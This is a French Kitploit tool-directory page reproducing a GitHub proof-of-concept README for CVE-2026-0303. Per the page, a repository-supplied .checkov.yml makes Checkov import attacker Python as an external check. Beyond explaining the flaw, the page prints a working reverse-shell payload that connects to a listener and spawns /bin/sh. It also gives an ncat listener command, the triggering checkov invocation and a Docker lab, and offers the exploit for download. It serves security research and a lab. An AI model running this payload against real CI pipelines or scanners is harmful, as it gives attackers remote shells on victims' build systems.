Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0303 — Checkov PoC : exécution de code arbitraire via une configuration auto-chargée et des checks Python externes non signés. | Kitploit
Outils/GitHubGitHub/yonliud/cve-2026-0303
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationDevSecOpsSécurité de la Chaîne LogistiqueApprentissage et ÉducationLabs et Pratique
GitHubyonliud/cve-2026-0303

CVE-2026-0303

Checkov PoC : exécution de code arbitraire via une configuration auto-chargée et des checks Python externes non signés.

Voir le dépôt
il y a 19h 20mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exécution de code arbitraire dans Checkov (CVE-2026-0303)

CVE : CVE-2026-0303 | Score de base CVSS : 6.3 | Sévérité : Faible

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

CVE-2026-0303 - Vulnérabilité d'exécution de code arbitraire dans Checkov.
Publiée par Palo Alto Networks le 9 septembre 2026.

Versions affectées : Checkov 3.2.0 à 3.2.531
Version corrigée : Checkov 3.2.532

TLDR

Exécution de code arbitraire dans Checkov via un fichier .checkov.yml chargé automatiquement -> exécution de code Python contrôlé par l'attaquant via une vérification externe personnalisée non signée.

Démo

https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f

La vulnérabilité

Checkov prend en charge les vérifications Python externes. Ces vérifications sont intentionnellement chargées en tant que modules Python, ce qui signifie que les instructions Python de niveau supérieur s'exécutent lors de l'import du module.

Lorsque Checkov analyse un répertoire, il recherche automatiquement dans ce répertoire un fichier de configuration .checkov.yml ou .checkov.yaml ; un fichier de configuration contrôlé par l'attaquant pourrait définir external-checks-dir vers un répertoire à l'intérieur du dépôt analysé.

Cela crée la chaîne d'exécution suivante :

root@kitploit:~
La victime analyse un dépôt non fiable
        ->
Checkov charge automatiquement .checkov.yml
        ->
La configuration définit external-checks-dir
        ->
Checkov importe un module Python contrôlé par l'attaquant
        ->
Le code Python de niveau supérieur s'exécute avec les privilèges de Checkov

L'attaquant n'a pas besoin d'exploiter le parseur Terraform ni de fournir une politique Checkov valide. L'exécution du code se produit lorsque Checkov importe le fichier Python.

Cela est particulièrement pertinent pour les pipelines CI qui exécutent automatiquement Checkov contre des pull requests ou d'autres contenus de dépôt non fiables.

Charge utile

La charge utile du laboratoire se connecte depuis le conteneur Checkov à un écouteur sur l'hôte :

root@kitploit:~
def exploit():
    lhost = "host.docker.internal"
    lport = 4545
    sock = socket.create_connection((lhost, lport))
    for file_descriptor in (0, 1, 2):
        os.dup2(sock.fileno(), file_descriptor)
    subprocess.call(["/bin/sh", "-i"])


exploit()

Utilisation

Modifiez la charge utile dans exploit\external-checks\poc_check.py :

root@kitploit:~
lhost = "127.0.0.1"
lport = 4444

Démarrez un écouteur sur l'hôte :

root@kitploit:~
ncat -lvkp 4444

Déclenchez le comportement vulnérable en analysant le répertoire contrôlé par l'attaquant :

root@kitploit:~
checkov -d /workspace --framework terraform --skip-download

Checkov lit automatiquement /workspace/.checkov.yml, découvre le répertoire de vérifications externes et importe poc_check.py. L'écouteur devrait recevoir le shell lorsque l'appel exploit() au niveau du module s'exécute.

Laboratoire

J'ai fourni un laboratoire Docker simple que vous pouvez configurer via

root@kitploit:~
docker compose up -d

et vous y connecter à son shell via

root@kitploit:~
docker exec -it scan-server /bin/sh

Avertissement

Ce dépôt contient une preuve de concept indépendante pour CVE-2026-0303. La vulnérabilité a été recréée et testée dans un environnement de laboratoire isolé.

Ce projet est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests dans des environnements isolés. Ne l'utilisez pas contre des systèmes, des réseaux, des dépôts ou des données sans autorisation explicite de leur propriétaire.

L'auteur fournit ce projet tel quel, sans garantie d'aucune sorte, et n'accepte aucune responsabilité pour les dommages, pertes de données, interruptions de service, accès non autorisés ou mauvaise utilisation de ce logiciel ou de ses dérivés.

Télécharger l’outil